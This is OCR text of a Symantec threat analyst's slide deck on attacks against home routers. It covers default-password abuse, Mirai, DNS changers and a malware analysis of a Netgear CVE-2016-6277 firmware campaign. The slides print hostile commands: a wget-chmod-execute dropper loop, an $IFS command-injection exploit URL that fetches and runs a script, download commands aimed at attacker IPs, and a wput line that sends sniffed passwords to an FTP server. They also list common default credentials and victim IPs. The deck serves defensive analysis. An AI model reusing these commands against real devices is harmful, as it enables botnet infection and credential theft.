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just default passwords and silly
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Working as Threat Analysis Engineer with IPS
Operations

Hobbies are exploit dev, exploit analysis,
reversing, Al, CTF...
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Introduction to Router
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Internet Modem

Computer #2
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Basic structure

Routing
Engine

”Packets Packet ””Packets

Forwarding

: out
Engine

IN
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Importance of Routers

Serves as the default gateway for computers on LAN

Helps restrict traffic by limiting hosts to communicate through
broadcast

Capable of wireless access point, allowing them to broadcast a
Wi-Fi signal to surrounding devices

Serves an ideal location for additional network services such as
firewall.
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Remember this
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[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release
Yesterday, 12:50 PM (This post was last modified: Yesterday 04:29 PM by Anna-senpal.)

Anna-senpai &

\

Preface

Greetz everybody,

When I first go in DDoS Industry, I wasn't planning on staying In it long. I made my money, there's lots of eyes fooking at 10T now, so I
However, 1 know every skid and their mama, it's their wet dream to have somaething besides gbot

So today, | have an amazing release for you, With Miral, [ usually pull max 380k bots from tainet alone. However, after the Kreb DDoS,
shutting down and deaning up their act. Today, max pull is about 300k bots, and dropping.

So, I am your senpai, and I will treat you real nice, my hf-chan,
: Yy v Y
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What’s common in the last 3 slides.
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Why attack routers
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YOU GET A DDOS ATTACK!

AND YOU GET A DDOS
s ATTACK!

B —

Ty

WERYIIL{E GETS A DDOS ATTACK!
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Why attack routers

For DDoS
Harvesting credentials
Sniffing all the network traffic

Injecting advertisement
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Attacking Routers
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Attack Vectors

Default password

DNS changer

Exploit Frameworks

Copyright © 2014 Symantec Corporation | 1




Default password

[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release

Yesterday, 12:50 PM (This post was last modified: Ye day 04:25 PM by Anna-senpal.)

Anna-senpai &

\

Preface

Greetz everybody,

When I first go in DDoS Industry, I wasn't planning on staying In it long. I made my money, there's lots of eyes looking at 10T now, so If
However, I kn every skid and their mama, it's their wet dream to have something besides gbot

ay, | have an amazing release for you, With Miral, I usually pull max 380k bots from tainet alone. However, after the Kreb DDoS,
shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping
G g up Y ¥ g

So, I am your senpai, and I will treat you real nice, my hf-chan,
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Top Default passwords

Top user names
root

admin

DUP root

ubnt

access

DUP admin

test

oracle

postgres

pi

Copyright © 2014 Symantec Corporation

Top passwords
admin

root

123456

12345

ubnt
password

1234

test

qwerty

raspberry
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DNS changer
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Yes

Resell stolen traffic to AdAgency 2
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Famous Router Attacks '

Hacking-Team JHT[ Takedown e

fanticec

[2] didn't find anything serious), a mail server, a couple routers, two VPN
appliances, and a spam filtering appliance. 50, I had three options: look for
a Bday in Joomla, look for a @day in postftix, or look for a @day in one of the
embedded devices. A @day in an embedded device seemed like the easiest option,
and atter two weeks of work reverse engineering, I got a remote root exploit.

S5ince the wvulnerabilities still hawven't been patched, I won't give more

v 1 . - - — ] - [ e [ [ - b [
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Equation group dump

Directory Name
EGBL
ELBA
ELBO
ELCA
ELCO
ESPL
EXBA

EPBA
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Exploit Name

EGREGIOUSBLUNDER

ELIGIBLEBACHELOR

ELIGIBLEBOMBSHELL

ELIGIBLECANDIDATE

ELIGIBLECONTESTANT

ESCALATEPLOWMAN

EXTRABACON

EPICBANANA
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Types of malwares

Script base Malwares
Compiled binary's : ELF

Firmware

Copyright © 2014 Symantec Corporation |
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Script base malware

Shellshock exploitation (CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186 and CVE-2014-7187), which was used to compromise

routers and infect them with .ELF malware, as well as infect them using
Perl-based IRC bots.

Copyright © 2014 Symantec Corporation
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Common traits

B bins.sh - Notepad

Fle Edt Format View Help
¥!' /bin/oashocd 7tmo Il cd fvar/run || <d /mnt || cd /root || cd /7 wget
v chmod +x weed; . /weed: rm -rf Wﬁedﬂﬁd Jsimp || cd fvar/run || <d
/mnt || cd Sroot || <d /: wget i chmod +x crack; . fcrack: rm -rf
crackocd /tmo || <d Avarsrun || <d /mnt || <d Jroot || cd /: “wget
; chmod +x heroin: ./heroin: rm -rf heroinocd /tmp || <d fvar/run
|| e¢d /mnt || cd froot || <d /; wget ; <¢hmod +x meth; ./meth; rm -rf
methocd /tmo |l ¢d Avarfrun |l ed /mnt || cd froot || cd /; wget
: : chmod +x krocodil: ./krocodil: rm -rf krocodilocd ftmp || cd
JSvar/run || ¢d /mnt II cd /"LUL || ed /; wget ¢ chmod +x lsd; ./1sd;
rm -rf lsdocd /tmp | var/run || ¢d /mat || cd froot || cd /i wget
. chmod +x mally: . /mnllv: rm -rf mollyocd ftmp || <d /var/run ||
cd /mnt || od froot || od /5 wget - ghm“u +x xXanax: ./xanax: rm -rf
xanaxgcd /tmp || ed fvar/run |[ <d /mnt /root || ed /; wget ;
chmod +x perky; ./perky; rm -rf p=rhvu d ftm {H Jvar/run || <d /mnt {I cd froot | cd /3
wget ; chmod +x Ea er: ./baller: rm -rf ballernocd /tmp cd
Jvar/run || cd /mnt || cd froot || :d /3 wget ; chmod +x yolo;
./volo: rm -rf vologcd #tmp || <d fvar/run || cd /mnt || <d /froot || cd /; wget
; chmod +x swag: . /swag: rm -rf swaglcd Jtmp || cd fvar/run || od
/mnt || cd Jroot || cd /; wget ; chmod +x yeet; ./Ayest; rm -rf¥ yestd

Copyright © 2014 Symantec Corporation
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Compiled binary's
Mirai

which was a worm and was targeting default routers passwords

Copyright © 2014 Symantec Corporation
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Firmware

Netgear Router Attack
Remote flashing of firmware.

The Netgear router attack (CVE-2016-6277) and the analysis of
malicious firmware associated with it, which was flashed
remotely, as well as the use of the Firmware Mod Kit (FMK) for
the development of malicious firmware.

Copyright © 2014 Symantec Corporation
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Exploit

http://<IPADDRESS>/cgi-

bin/;nvramSIFS\setSIFS\http passwd;nvramSIFS\setSIFS\http_u
sername;nvramSIFS\commit;sleepSIFS\2;cdSIFS\/tmp;wgetSIFS\
http:\/\/<IPADDRESS>\/h\/wrt\/uge.sh;chmodSIFS\777SIFS\/tm
p/uge.sh;/bin/shSIFS\/tmp/uge.sh

Copyright © 2014 Symantec Corporation
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Shell Script

#tcd /tmp

.57.115.231:8081/h/wrt/custom_image 00021.bin &
wget http://94 .156.35.78/h/wrt/112.bin &
process_id=S!

wait Sprocess_id

write 112.bin linux

/sbin/reboot

Copyright © 2014 Symantec Corporation

28




Binwalk

g 1 2 3 4 5 & 7T &8 &8 A B C D E F 0123456T785ABCDEF

0000h:
0010h:
0020h:
0030nh: CF Fe 00 36 BS 1E 86 64 8C 50 Fa AF 7D &D 4F 0D Y S S S i
0040h: A8 23 34 42 4E 35 AD SE &6 4C 60 91 46 13 12 BS .¥4BHNS5. .fL".F...
0050h: 55 54 55 C6 98 14 24 DA S5A 02 35 59 €4 F1 €2 DC  UTIU...%.Z.5¥d.b.

00&0Rh: C& 84 2C DF 44 A5 AD 17 59 8C 8C OD S5E 4C 3D 354 S s M A P
0070n: FC 34 8B &4 B1 OC 45 BE 40 52 24 B1 88 D& 45 47 .4....I..R*...EG
0080n: 04 25 AC A2 48 95 02 CA DF EB 77 E6& 27 B8 &4 834 B - P T
0080nh: 22 8D C6 EF CE 7% E7 FE CE 39 DF 3% F7 50 QA 37 e ¥ 5.8 BT
00a0nh: ET7 81 31 83 BO 23 SF ED 5D B6 08 3B F3 F&A 5B EF R N T I e
00BOR: 5% &0 &5 0E 58 AD 74 58 Fe 3D CC F8 23 85 F3 F8 Ye...z¥X.=..%...
00COnh: 2C Fe& 53 EO0 3F 27 D4 01 76 F6 54 3B 9B 55 69 F8 p 3.2 w20 T4
00D0R: 4% 35 8B TE A% 17 0& 0% EB CD 66 54 E&8 26 AD 2D IS.~...... fT.&.-
00EORh: 97 D4 FA CB 45 38 38 34 84 7TA 22 &7 03 ED 14 83 «...I884.2"g....
00FOnh: 0% 04 D& 66 BD 85 6D 4E 1F SE 54 CS 00 E8 43 46 «o.£..mN..T...CFE
0100Rh: 25 CB 74 50 OF 03 DC E4 27 4C E4 CD C1 24 43 54 E.cP...."L....C.
0110n: BT BF 8& 37 &D 37 41 AF &3 16 00 53 01 46 91 C8 . TmTR.c. . 5.F. .

HEARDECIHAL  DESCRIPTION

Little endian, inage size: 3506576 bytes, CRC32: OXIFGSRIFF, flags: Og, versiom: 1, heater size: 28 bytes, loader offset: Bl
i
,wwmmﬁmnmmeMMHmmmmwww

, Droperties: i, dictionary size: 2697152 bytes, uncompressed size: 2096688 bytes

B firmware head
tfs offset:
1ip conpressed ¢
h compressed ¢

4
;
d
d

“
i
:
:

t
t




Directory structure

| |—fstab

-— group -> /tmp/etc/group
-— hosts -> /tmp/hosts

-— init.d

|—— rcS

L S01dummy

-— ipkg.conf

Copyright © 2014 Symantec Corporation
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Inside the Script

“fusr/bin/wput )cat /tmp/h5.sh | cut -c 1-4).)date +%H-%M-%d-
%m-%y) )cat /tmp/i5.sh).txt
ftp://sammy:sssss@94.156.35.78/mnt/hdd/backup/ds/ &”. It
looks like the command is uploading some text file to the ftp
server with filename formatted like “<COUNTRY’S FIRST 4
LETTER>.<DATE IN DD MM YY>.<IPADDRESS OF THE
DEVICE>.txt” to “ftp:// 94.156.35.78/mnt/hdd/backup/ds/”

Copyright © 2014 Symantec Corporation
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What it was Uploading

“fusr/sbin/dsniff -i )nvram get lan_ifname) >/tmp/ds/ds5.txt”

The tool is configured to sniff passwords and push them to a text
file. This file is what is later uploaded to the ftp

Copyright © 2014 Symantec Corporation
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Inside the FTP

Index of ftp:// /mnt/hdd/backup/ds/
# Up to higher level directory
Mame Size Last Modified
Aust12-36-19-12-16_62.93.122.102.txt SKB 12/19/2016  04:36:00 AM
Aust. 13-08-19-12-16_82.218.207.131 kxt 12/19/2016  05:07:00 AM
AUSE13-15-19-12-16_93.82.236.50.txt 12192016  05:14:00 AM
AUSE13-5219-12-16_85.13.46.199.txt 5KB 12f19/2016  05:51:00 AM
AUSE14-15-19-12-16_88.116.128.58.txt G KB 12/19/2016  06:14:00 AM
AUSL15-03-19-12-16_91.114.22.206.KxC GKB 12192016 O7:03:00 AM
AUSL16-00-19-12-16_88.116.128.58.kxt 6KB  12/19/2016 O7:59:00 AM
Bulg.00-01-05-01-T0_212.43.40.86.txt 1MKB 120192016 O7:47:00 AM
Bulg.00-05-05-01-T0_212.43.40.86.Lxk TKB 12/19/2016 O7:51:00 AM
Bulg.00-25-05-01-T0_212.43.40.86.Lxk TKB 121972016  08:12:00 AM
Bulg.13-57-19-12-16_93.152.157.144,txk GKB 121972016 05:57:00 AM
Bulg. 14-09-19-12-16_TE.90.2.241.txt TEB 12f19/2016  06:09:00 AM
Bulg. 14-13-19-12-16_TE.90.2.241.txt GKB 12192016 06:14:00 AM
Bulg.14-51-19-12-16_T8.90.2.241.txt SKB  12/19/2016 O&51:00AM
Bulg.14-57-159-12-16_7T8.90.2.241.txt GKE 12f19/2016  06:57:00 AM
Bulg.15-22-19-12-16_78.90.2.241.txt G KB 12f19/2016  O7:22:00 AM
Bulg.15-22-19-12-16_93.183.175.224.kxk GKB 12/19/2016  O7:22:00 AM
Bulg.15-37-19-12-16_78.90.2.241.txt 6KE  12/19/2016 07:37:00 AM
Bulg.15-51-19-12-16_78.90.112.143.txt 6KE  12/19/2016  07:52:00 AM
Bulg.15-53-19-12-16_78.90.2.241.txk 5KB 12/19/2016 075300 AM
Bulg. 16-10-19-12-16_78.90.2.241.txL GKB 121972016  08:10:00 AM
Bulg.21-34-04-01-70_212.43.40.86.kxt BKB  12/19/2016 05:20:00 AM
Bulg.21-38-04-01-T0_212.43,40.86. bt SEB 12f19/2016  05:24:00 AM
Bulg.22-03-04-01-T0_212.43.40.86.kxt GKEB 12/19/2016  05:49:00 AM
Bulg.22:27-04-01-T0_212.43.40.86.txt BKB 12f19/2016  06:14:00 AM
Bulg.22-46-04-01-T0_212.43.40.86. txt GKB 12/19/2016  06:32:00 AM
Bulg.22-54-04-01-T0_212.43.40.86. txt TEB 12/19/2016  06:41:00 AM
Copyright © 2014 Symantec Corporation | .
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Best Practices

Keep the firmware of your router updated
Do not use Default passwords

Try using strong and unique passwords for router login

Copyright © 2014 Symantec Corporation
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v Symantec.

Thank you!

Himanshu Anand

Himanshu anand@Symantec.com
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